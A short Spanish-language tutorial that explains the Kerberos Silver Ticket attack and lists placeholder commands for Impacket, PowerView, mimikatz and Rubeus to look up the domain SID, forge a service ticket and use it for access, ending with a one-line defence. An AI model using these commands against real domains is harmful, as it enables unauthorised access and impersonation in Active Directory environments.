Qué es
Un Silver Ticket es un ticket de servicio Kerberos forjado con la clave de una sola cuenta de servicio o de máquina. Con él, el atacante accede a ese servicio como cualquier identidad. Nunca contacta al Domain Controller.
Cómo funciona
En un flujo normal, el Domain Controller arma el ticket de servicio. Copia el PAC del usuario y cifra el ticket con la clave de la cuenta de servicio. El servicio descifra el ticket con su propia clave, lee el PAC y da acceso según lo que dice.
Quien tiene esa clave arma el ticket por su cuenta. Escribe cualquier PAC que quiera (cualquier usuario, cualquier grupo) y lo cifra con la clave directamente. El servicio confía en la clave, no en el origen del ticket. El Domain Controller nunca participa, así que no registra ninguna solicitud. El ticket solo sirve para ese servicio en ese host.
Comandos
Primero necesitas el SID del dominio, un dato requerido para forjar.
Con PowerView, desde Windows:
Get-DomainSIDCon Impacket, desde Linux:
lookupsid.py <DOMAIN>/<USER>:<PASSWORD>@<IP>Forjar el Silver Ticket con Impacket, desde Linux. Guarda un archivo .ccache:
ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USER>Forjar e inyectar con mimikatz, desde Windows. El uso de /service y
/target con una clave de servicio (no la de krbtgt) es lo que lo hace
Silver y no Golden:
kerberos::golden /user:<USER> /domain:<DOMAIN> /sid:<SID> /target:<HOST> /service:cifs /rc4:<HASH> /pttUsar el ticket forjado desde Linux:
export KRB5CCNAME=<USER>.ccache
psexec.py -k -no-pass <DOMAIN>/<USER>@<HOST>Usar el ticket forjado desde Windows con Rubeus. Abre una sesión de logon sacrificable e importa el ticket:
Rubeus.exe createnetonly /program:cmd.exe
Rubeus.exe ptt /ticket:<FILE>Cómo defenderse
Rota las claves de las cuentas de servicio y de máquina y usa gMSA: sin la clave robada, no hay nada con qué forjar.